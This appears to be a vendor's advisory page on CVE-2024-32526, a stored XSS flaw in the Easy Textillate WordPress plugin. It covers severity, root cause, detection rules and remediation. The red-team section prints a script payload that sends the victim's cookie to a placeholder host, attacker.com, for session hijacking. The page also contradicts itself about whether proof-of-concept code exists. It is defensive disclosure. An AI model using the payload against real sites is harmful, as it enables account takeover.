CVE-2024-32526
Executive Summary
CVE-2024-32526 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Easy Textillate, versions up to and including 2.02. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the plugin. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of WordPress, this vulnerability poses a significant risk to unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The lack of an OSV or GitHub advisory means the supply chain risk is currently unmanaged.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack is executed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need prior authentication to trigger the stored XSS (though injection requires contributor-level access).
- User Interaction (UI): Required – The victim must visit the compromised page.
- Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WordPress plugin can lead to widespread compromise if exploited in a campaign.
Deep Dive & Mechanics
The Easy Textillate plugin provides text animation effects using the Textillate.js library. The vulnerability exists in how the plugin handles user-supplied text content, likely through a shortcode or widget. When a user with contributor-level access or higher creates or edits a post/page containing the plugin's shortcode, the input is not properly sanitized before being stored in the database. When the page is rendered, the unsanitized input is echoed directly into the HTML without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access (or higher) creates a new post or page.
- The attacker inserts the Easy Textillate shortcode (e.g.,
[easy-textillate]) and includes malicious JavaScript in the text parameter. - The plugin stores the malicious input in the WordPress database.
- When an administrator or other user visits the compromised page, the injected script executes in their browser.
- The script can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), wp_kses()) when outputting user-supplied data.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:
// Vulnerable code (Easy Textillate <= 2.02)
function easy_textillate_shortcode($atts, $content = null) {
// No sanitization of $content
return '<div class="easy-textillate">' . $content . '</div>';
}
add_shortcode('easy-textillate', 'easy_textillate_shortcode');
A patched version would sanitize the output:
// Patched code (hypothetical)
function easy_textillate_shortcode($atts, $content = null) {
// Sanitize the content
$safe_content = esc_html($content);
return '<div class="easy-textillate">' . $safe_content . '</div>';
}
add_shortcode('easy-textillate', 'easy_textillate_shortcode');
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Easy Textillate plugin version <= 2.02.
- A user account with at least Contributor role.
Exploitation Steps:
- Log in as a contributor.
- Create a new post.
- Insert the following shortcode with a malicious payload:
[easy-textillate]<script>alert('XSS')</script>[/easy-textillate]
- Publish the post.
- As an administrator, visit the post. The JavaScript executes.
Advanced Payload (Session Hijacking):
[easy-textillate]<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>[/easy-textillate]
Blue Team
Detection & Prevention:
- Monitor for posts containing
<script>tags or event handlers in shortcode parameters. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Restrict contributor-level access to trusted users only.
- Disable or remove the Easy Textillate plugin until a patch is available.
Honeypot Setup:
- Create a decoy WordPress site with the vulnerable plugin.
- Log all POST requests to
wp-admin/post.phpand monitor for suspicious shortcode parameters.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/easy-textillate/easy-textillate.php(version <= 2.02) - Network: HTTP requests to
wp-admin/post.phpwith POST data containing<script>tags. - Logs: WordPress debug log entries showing unescaped output in shortcode rendering.
- Database: Posts/pages containing
[easy-textillate]shortcode with embedded JavaScript.
Detection Engineering
YARA Rule
rule CVE_2024_32526_Easy_Textillate_XSS {
meta:
description = "Detects Easy Textillate plugin files vulnerable to Stored XSS"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-32526"
hash = "unknown"
strings:
$vuln_func = "easy_textillate_shortcode"
$unsafe_output = /return\s*['\"].*['\"]\s*\.\s*\$content/
condition:
$vuln_func and $unsafe_output
}
Sigma Rule
title: CVE-2024-32526 - Stored XSS via Easy Textillate Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit Stored XSS in Easy Textillate WordPress plugin
author: Valters IT
date: 2025-04-14
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
cs-uri-query|contains: 'post='
sc-status: 200
cs-username|contains: 'contributor'
keywords:
- '[easy-textillate]'
- '<script>'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in posts by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32526 - Easy Textillate Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"[easy-textillate]"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Easy Textillate plugin from all WordPress installations.
- Audit existing content: Search for posts/pages containing the
[easy-textillate]shortcode and remove any suspicious content. - Change admin credentials: If any administrator accounts were compromised, reset passwords and revoke session tokens.
Long-term Mitigation:
- Monitor the WordPress Plugin Directory for a patched version (2.03 or higher).
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce the principle of least privilege: only grant contributor access to trusted users.
- Regularly update all WordPress plugins and themes.
Workaround:
- If the plugin is critical, consider forking it and adding proper output escaping (e.g.,
esc_html()) to the shortcode handler.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.